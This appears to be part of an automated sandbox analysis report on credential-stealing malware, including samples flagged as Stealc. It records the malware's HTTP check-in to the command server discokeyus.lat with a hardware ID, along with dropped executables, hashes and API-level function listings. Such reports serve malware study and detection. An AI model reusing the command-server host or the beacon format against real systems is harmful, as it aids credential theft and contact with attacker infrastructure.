CF-RAY: 8f509ccdb98b4331-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1683&rtt_var=632&sent=197&recv=577&lost=0&retrans=0&sent_bytes=2831&recv_bytes=555539&delivery_rate=1734997&cwnd=233&unsent_bytes=0&cid=6c8c15057c559627&ts=4588&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49821	172.67.197.170	443	6508	C:\Users\user\Desktop\Qmg24kMXxU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:19:51 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: discokeyus.lat
2024-12-20 15:19:51 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 35 39 38 31 38 43 30 30 35 33 45 31 30 41 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=59818C0053E10A4AAC8923850305D13E
2024-12-20 15:19:52 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:19:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vnqav9tfbe76nq84almlpvqkb3; expires=Tue, 15 Apr 2025 09:06:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U6%2FXhmobjs3JBuYPiJ%2FTovNh33HcUO59ldMP4NSaKXG1WkLNEP%2F0MhQo%2FvoebmgPUyLr%2FTmCD36Jv7MUYqK9ncQMPgDNo4fDTj0TZ12Ub%2B4Bdlol9Q4g2NMSeRhKTjEP6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509cf2f8567d05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2027&min_rtt=2024&rtt_var=765&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=980&delivery_rate=1425085&cwnd=195&unsent_bytes=0&cid=e194c0a4407cecb7&ts=1130&x=0"
2024-12-20 15:19:52 UTC	214	IN	Data Raw: 64 30 0d 0a 66 50 72 64 34 61 6f 6f 2f 59 65 70 39 53 30 7a 6c 75 4a 52 35 46 45 55 55 5a 37 73 79 76 6c 79 42 63 77 56 31 33 43 33 44 35 30 6e 67 66 2b 55 69 42 4c 66 37 39 32 42 58 51 6e 4b 7a 51 33 4c 59 43 78 6b 73 4e 37 37 7a 46 77 30 2f 53 62 35 51 59 46 54 73 68 4f 63 75 37 32 46 54 4a 6a 68 68 35 42 56 56 72 54 4f 63 34 49 6c 4e 6d 75 75 77 4f 69 63 55 44 2f 38 61 50 73 4c 6c 58 71 2f 52 74 69 31 6c 64 35 59 78 39 75 47 71 51 49 43 72 74 64 2f 31 6d 41 68 66 36 2f 64 2b 64 64 44 4d 35 41 36 70 41 54 53 62 76 41 67 31 61 2b 41 78 45 79 53 36 6f 65 51 56 56 61 30 7a 6e 4f 43 4a 54 5a 72 72 73 44 6f 6e 46 41 2f 2f 47 69 4b 0d 0a Data Ascii: d0fPrd4aoo/Yep9S0zluJR5FEUUZ7syvlyBcwV13C3D50ngf+UiBLf792BXQnKzQ3LYCxksN77zFw0/Sb5QYFTshOcu72FTJjhh5BVVrTOc4IlNmuuwOicUD/8aPsLlXq/Rti1ld5Yx9uGqQICrtd/1mAhf6/d+ddDM5A6pATSbvAg1a+AxEyS6oeQVVa0znOCJTZrrsDonFA//GiK
2024-12-20 15:19:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	2
Start time:	10:19:17
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\Qmg24kMXxU.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Qmg24kMXxU.exe"
Imagebase:	0x130000
File size:	1'902'592 bytes
MD5 hash:	EBC8EE2571051C972257A5A46FEFF86F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.2444903083.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:19:57
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe"
Imagebase:	0xd50000
File size:	2'790'400 bytes
MD5 hash:	924B9CDE47B9957EDE7465EDD607FC47
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:20:03
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe"
Imagebase:	0xfc0000
File size:	2'917'888 bytes
MD5 hash:	E48CA69B3F439CF66679FFE60EFD564F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000003.2697183057.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2744770047.000000000168E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000011.00000002.2740775747.0000000000FC1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	31.6%
Signature Coverage:	13.2%
Total number of Nodes:	38
Total number of Limit Nodes:	1

Executed Functions

Function 04FA15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04FA18C8

Memory Dump Source

Source File: 00000010.00000002.2789183820.0000000004FA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4fa0000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 35c71ffa961e37bfc2e8a1975ecb5e51bf2779fdf83cf8232a958bddaa4ccac8
Instruction ID: b24dd4b5769f77bbea33041db8614f706ed4718a563e248077d066ca7f3539b7
Opcode Fuzzy Hash: 35c71ffa961e37bfc2e8a1975ecb5e51bf2779fdf83cf8232a958bddaa4ccac8
Instruction Fuzzy Hash: E9C17CB0D002599FDB10CFA8CA457EEBBF1FF49314F158529E855E7284DB74A8A2CB81

Function 00EDF83E Relevance: 1.6, APIs: 1, Instructions: 121
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00EDF83E

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: c242795747a750674dbbbef66779f503278c232ce337c7c0113a9cee05dc578e
Instruction ID: 4ea094a000b70a1430f1a22cec219cb55b1a6e9e9f4f3e3152a2dad796ab56cf
Opcode Fuzzy Hash: c242795747a750674dbbbef66779f503278c232ce337c7c0113a9cee05dc578e
Instruction Fuzzy Hash: 9D3119F250C704AFE315AE19DC81BBAFBE8EB88320F11482DE7D4C3740E63559549AA7

Function 00EF3E6F Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce44c88c74a66025267ea83866036a97c235489e523c821715e7b575f33e1962
Instruction ID: b2cef7644e8bbbebdcbaf26c6d0f03cba3e63b0b1c82bf6e1acf4badd2541cfc
Opcode Fuzzy Hash: ce44c88c74a66025267ea83866036a97c235489e523c821715e7b575f33e1962
Instruction Fuzzy Hash: 21C08C72845981EADA6E5B604D067343210AF50A00F1240187202BE9C1DB2D41220080

Function 00EEEA1B Relevance: 4.6, APIs: 3, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00EEFD15
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00EEFD3C
GetNativeSystemInfo.KERNELBASE(?), ref: 00EEFD93

Memory Dump Source

Source File: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785711399.0000000000F44000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785741504.0000000000F45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785772828.0000000000F55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785811523.0000000000F56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785837089.0000000000F57000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785867232.0000000000F5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785900957.0000000000F62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785936677.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785964951.0000000000F67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786004089.0000000000F69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786041434.0000000000F71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786073000.0000000000F73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786104540.0000000000F74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786139369.0000000000F77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786174021.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786206634.0000000000F80000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786233991.0000000000F88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786273633.0000000000F89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786304180.0000000000F91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786370770.0000000000F92000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786403553.0000000000FA2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786439042.0000000000FA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786496236.0000000000FEC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2786562671.0000000000FFC000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_d50000_JKGP0UT4QWTEFN0LA50.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: 88dfb89acbf4e129fc666aa8ed989ea59dcbaf450db388acea3e88ed8641d55f
Instruction ID: 7a93e0b1854a53c8f377694da2edd2723a521a80740dfec6b1995d75cf16f6ee
Opcode Fuzzy Hash: 88dfb89acbf4e129fc666aa8ed989ea59dcbaf450db388acea3e88ed8641d55f
Instruction Fuzzy Hash: 1731067110424EDFEF11EF61C888BEE3BA5EF04305F104526E946D6A51EB764CA4CF59

Function 00EE1EA7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,?,00EE1EA3,00000003,00000000,00000003), ref: 00EE1F3F

Strings

C, xrefs: 00EE1F99

Memory Dump Source

Source File: 00000010.00000002.2785128665.0000000000EDC000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000010.00000002.2784745079.0000000000D50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784778976.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784808119.0000000000D56000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784836435.0000000000D5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2784872122.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785068047.0000000000EC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785101991.0000000000ECA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785128665.0000000000EE8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785182059.0000000000EED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785210180.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785237039.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785260553.0000000000EF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785286412.0000000000EFC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785316476.0000000000EFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785349361.0000000000F01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785381951.0000000000F02000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785413273.0000000000F17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785438506.0000000000F18000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785467738.0000000000F19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785505118.0000000000F25000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785531841.0000000000F26000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785558250.0000000000F2C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785585191.0000000000F37000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785611440.0000000000F38000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785639856.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.2785674074.0000000000F3C000.00000040.00000001.01000000.00000008.sdmpDownload File
